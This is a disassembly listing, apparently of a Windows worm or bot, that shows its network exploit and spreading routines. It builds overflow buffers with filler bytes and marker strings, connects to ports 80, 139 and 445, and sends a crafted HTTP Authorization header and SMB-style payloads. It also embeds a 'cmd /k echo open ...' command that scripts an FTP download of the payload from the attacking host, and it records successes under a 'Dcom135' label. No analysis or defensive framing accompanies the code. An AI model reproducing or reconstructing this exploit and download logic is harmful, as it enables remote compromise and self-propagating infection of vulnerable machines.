		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403ED8
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40404C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404080	proc near		; CODE XREF: sub_404108+F0p
					; sub_404108+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_415CF0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40404C
		pop	esi
		retn	4
sub_404080	endp


; =============== S U B	R O U T	I N E =======================================



sub_40409D	proc near		; CODE XREF: sub_4040E9+Bp
					; sub_404108+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40404C
		retn	8
sub_40409D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040AD	proc near		; CODE XREF: sub_4040E9+16p
					; sub_404108+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_403F46
		test	al, al
		jz	short loc_4040E6
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4263DB+1)
		call	sub_403ED8
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_4040E6:				; CODE XREF: sub_4040AD+Fj
		pop	esi
		leave
		retn
sub_4040AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4040E9	proc near		; CODE XREF: sub_404108+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40409D
		test	al, al
		jz	short loc_404104
		mov	ecx, esi
		call	sub_4040AD


loc_404104:				; CODE XREF: sub_4040E9+12j
		pop	esi
		retn	8
sub_4040E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404108	proc near		; CODE XREF: .nsp0:0040498Dp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_403E94
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40445C
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40445C
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_403E94
		lea	ecx, [ebp+var_20]
		call	sub_403E94
		lea	ecx, [ebp+var_50]
		call	sub_403E94
		lea	ecx, [ebp+var_18]
		call	sub_403E94
		lea	ecx, [ebp+var_40]
		call	sub_403E94
		lea	ecx, [ebp+var_38]
		call	sub_403E94
		lea	ecx, [ebp+var_28]
		call	sub_403E94
		push	4
		push	offset dword_42607C
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		push	3
		push	offset dword_426084
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		lea	ecx, [ebp+var_30]
		call	sub_403FD2
		lea	ecx, [ebp+var_30]
		call	sub_4040AD
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40404C
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40404C
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_20]
		call	sub_403FD2
		push	offset loc_426404
		lea	ecx, [ebp+var_50]
		call	sub_404080
		lea	ecx, [ebp+var_50]
		call	sub_403FD2
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403E9E
		lea	ecx, [ebp+var_58]
		call	sub_403FD2
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_4040E9
		lea	ecx, [ebp+var_58]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_404080
		push	4
		push	offset dword_426088
		lea	ecx, [ebp+var_18]
		call	sub_40404C
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40404C
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_18]
		call	sub_403FD2
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40409D
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40409D
		lea	ecx, [ebp+var_40]
		call	sub_4040AD
		lea	ecx, [ebp+var_18]
		call	sub_403F2D
		lea	ecx, [ebp+var_50]
		call	sub_403F2D
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40409D
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40409D
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40409D
		lea	ecx, [ebp+var_38]
		call	sub_4040AD
		lea	ecx, [ebp+var_20]
		call	sub_403F2D
		lea	ecx, [ebp+var_30]
		call	sub_403F2D
		lea	ecx, [ebp+var_40]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_28]
		call	sub_403FD2
		push	2
		push	offset dword_4263F8
		lea	ecx, [ebp+var_28]
		call	sub_40404C
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40409D
		lea	ecx, [ebp+var_28]
		call	sub_4040AD
		lea	ecx, [ebp+var_38]
		call	sub_403F2D
		lea	ecx, [ebp+var_10]
		call	sub_403E94
		lea	ecx, [ebp+var_8]
		call	sub_403E94
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_28]
		call	sub_403F2D
		push	offset dword_4263F4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263F0
		lea	ecx, [ebp+var_10]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		push	offset dword_4263E4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263E0
		lea	ecx, [ebp+var_48]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40446A
; ---------------------------------------------------------------------------


loc_40445C:				; CODE XREF: sub_404108+1Bj
					; sub_404108+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40446A:				; CODE XREF: sub_404108+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_404108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40446E	proc near		; CODE XREF: sub_404532+A1p
					; sub_404532+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_4211D0	; select
		cmp	eax, edi
		jnz	short loc_4044D5
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_420106	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4044D9


loc_4044D5:				; CODE XREF: sub_40446E+54j
		xor	eax, eax
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044D9:				; CODE XREF: sub_40446E+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43A3B0	; recv


loc_4044E9:				; CODE XREF: sub_40446E+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40446E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044ED	proc near		; CODE XREF: sub_404532+81p
					; sub_404532+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43A394	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	eax, 4
		jz	short loc_404517
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_404517:				; CODE XREF: sub_4044ED+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_4044ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404532	proc near		; CODE XREF: sub_40460C+48p
					; .nsp0:00404A88p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40455B
		xor	al, al
		jmp	loc_404607
; ---------------------------------------------------------------------------


loc_40455B:				; CODE XREF: sub_404532+20j
		push	ebx
		push	0
		push	esi
		call	sub_415570
		push	2Fh
		push	offset dword_426118
		push	esi
		call	sub_4155D0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_426148
		push	eax
		mov	[esi+2Fh], di
		call	sub_4155D0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4155D0
		push	6
		add	ebx, edi
		push	offset dword_438FCC
		push	ebx
		call	sub_4155D0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_426090
		push	ebx
		call	sub_4044ED
		add	esp, 48h
		test	al, al
		jnz	short loc_4045C3


loc_4045BF:				; CODE XREF: sub_404532+B5j
		xor	bl, bl
		jmp	short loc_4045FE
; ---------------------------------------------------------------------------


loc_4045C3:				; CODE XREF: sub_404532+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_4044ED
		add	esp, 1Ch
		test	al, al
		jz	short loc_4045BF
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		add	esp, 10h
		mov	bl, 1


loc_4045FE:				; CODE XREF: sub_404532+8Fj
		push	esi
		call	sub_415E3D
		pop	ecx
		mov	al, bl


loc_404607:				; CODE XREF: sub_404532+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404532	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40460C	proc near		; CODE XREF: .nsp0:00404A6Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_426154
		push	[ebp+arg_0]
		call	dword_4211EC	; send
		cmp	eax, 48h
		jnz	short loc_404647
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40446E
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404647
		cmp	[ebp+var_20], 82h
		jz	short loc_40464B


loc_404647:				; CODE XREF: sub_40460C+1Bj
					; sub_40460C+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40464B:				; CODE XREF: sub_40460C+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404532
		add	esp, 0Ch
		leave
		retn
sub_40460C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40465E	proc near		; CODE XREF: sub_4046AA+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_421240
		call	sub_415F8C
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_421238
		fstp	[esp+10h+var_10]
		call	sub_415E6C
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_415F8C
		inc	eax
		leave
		retn
sub_40465E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046AA	proc near		; CODE XREF: sub_40484C+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_420263
		call	sub_416458
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404D21
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40465E
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_4046EC
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_404C9C


loc_4046EC:				; CODE XREF: sub_4046AA+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404809
		mov	ebx, [ebp+10h]


loc_4046FB:				; CODE XREF: sub_4046AA+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_404705
		push	3
		jmp	short loc_404717
; ---------------------------------------------------------------------------


loc_404705:				; CODE XREF: sub_4046AA+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40470F
		push	2
		jmp	short loc_404717
; ---------------------------------------------------------------------------


loc_40470F:				; CODE XREF: sub_4046AA+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_404718
		push	1


loc_404717:				; CODE XREF: sub_4046AA+59j
					; sub_4046AA+63j
		pop	ebx


loc_404718:				; CODE XREF: sub_4046AA+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_421250
		fstp	[esp+40h+var_40]
		call	sub_415FB3
		pop	ecx
		pop	ecx
		call	sub_415F8C
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_404757
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_404757:				; CODE XREF: sub_4046AA+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_4047C5
		add	[ebp-18h], eax


loc_4047A9:				; CODE XREF: sub_4046AA+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_4261A0[eax]
		push	eax
		push	1
		call	sub_404B1E
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_4047A9


loc_4047C5:				; CODE XREF: sub_4046AA+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_4047E3
		push	dword ptr [ebp+14h]
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_404B77
		mov	[ebp-18h], edi


loc_4047E3:				; CODE XREF: sub_4046AA+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4047FD
		sub	esi, [ebp-1Ch]


loc_4047EE:				; CODE XREF: sub_4046AA+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404B1E
		dec	esi
		jnz	short loc_4047EE


loc_4047FD:				; CODE XREF: sub_4046AA+13Fj
		cmp	[ebp+10h], edi
		ja	loc_4046FB
		push	1
		pop	ebx


loc_404809:				; CODE XREF: sub_4046AA+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		push	dword_421248
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404BCE
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4046AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40484C	proc near		; CODE XREF: .nsp0:00404A51p
		mov	eax, offset loc_420280
		call	sub_416458
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_438FBC
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_4046AA
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_415DC9
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_404896
		xor	bl, bl
		jmp	short loc_4048DA
; ---------------------------------------------------------------------------


loc_404896:				; CODE XREF: sub_40484C+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_421258
		cmp	ecx, ebx
		jnz	short loc_4048A4
		mov	ecx, eax


loc_4048A4:				; CODE XREF: sub_40484C+54j
		cmp	[ebp+18h], ebx
		jz	short loc_4048AC
		mov	eax, [ebp+18h]


loc_4048AC:				; CODE XREF: sub_40484C+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_415A6A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43A3E8	; send
		cmp	eax, esi
		jz	short loc_4048D1
		xor	bl, bl
		jmp	short loc_4048D3
; ---------------------------------------------------------------------------


loc_4048D1:				; CODE XREF: sub_40484C+7Fj
		mov	bl, 1


loc_4048D3:				; CODE XREF: sub_40484C+83j
		push	edi
		call	sub_415E3D
		pop	ecx


loc_4048DA:				; CODE XREF: sub_40484C+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40484C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_42634C
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		mov	eax, offset byte_42C1FC
		push	eax
		push	eax
		push	dword_438FDC
		push	dword ptr [ebp+8]
		call	sub_40A171
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_415A6A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_4261E4
		push	eax
		call	sub_404108
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_4049AD
		xor	eax, eax
		jmp	loc_404B11
; ---------------------------------------------------------------------------


loc_4049AD:				; CODE XREF: .nsp0:004049A4j
		mov	[ebp-0Ch], esi


loc_4049B0:				; CODE XREF: .nsp0:00404AB0j
		test	esi, esi
		jnz	loc_404AB6
		push	6
		push	1
		push	2
		call	dword_4211E0	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404A9E
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43A398	; ntohs
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_404A93
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_404A5B
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_404D5D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40484C
		add	esp, 1Ch
		jmp	short loc_404A90
; ---------------------------------------------------------------------------


loc_404A5B:				; CODE XREF: .nsp0:00404A19j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_404A75
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40460C
		jmp	short loc_404A8D
; ---------------------------------------------------------------------------


loc_404A75:				; CODE XREF: .nsp0:00404A65j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404A93
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_404532


loc_404A8D:				; CODE XREF: .nsp0:00404A73j
		add	esp, 0Ch


loc_404A90:				; CODE XREF: .nsp0:00404A59j
		movzx	esi, al


loc_404A93:				; CODE XREF: .nsp0:00404A0Cj
					; .nsp0:00404A7Fj
		push	ebx
		call	dword_43A430	; closesocket
		test	esi, esi
		jnz	short loc_404AA9


loc_404A9E:				; CODE XREF: .nsp0:004049C9j
		push	3E8h
		call	dword_421060	; Sleep


loc_404AA9:				; CODE XREF: .nsp0:00404A9Cj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_4049B0


loc_404AB6:				; CODE XREF: .nsp0:004049B2j
		lea	ecx, [ebp-8]
		call	sub_403F2D
		test	esi, esi
		jz	short loc_404B0F
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset dword_426410
		lea	eax, [ebp-624h]
		push	200h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp-624h]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+0B0h]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]


loc_404B0F:				; CODE XREF: .nsp0:00404AC0j
		mov	eax, esi


loc_404B11:				; CODE XREF: .nsp0:004049A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420244


loc_404B16:				; CODE XREF: sub_420244+3j
					; .nsp0:0042025Dj ...
		push	1
		call	sub_404D21
		retn
; END OF FUNCTION CHUNK	FOR sub_420244

; =============== S U B	R O U T	I N E =======================================



sub_404B1E	proc near		; CODE XREF: sub_4046AA+110p
					; sub_4046AA+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B38
		call	sub_41FDB0


loc_404B38:				; CODE XREF: sub_404B1E+13j
		test	ebx, ebx
		jbe	short loc_404B6F
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404B6F
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_415570
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_404B6F:				; CODE XREF: sub_404B1E+1Cj
					; sub_404B1E+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B77	proc near		; CODE XREF: sub_4046AA+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B91
		call	sub_41FDB0


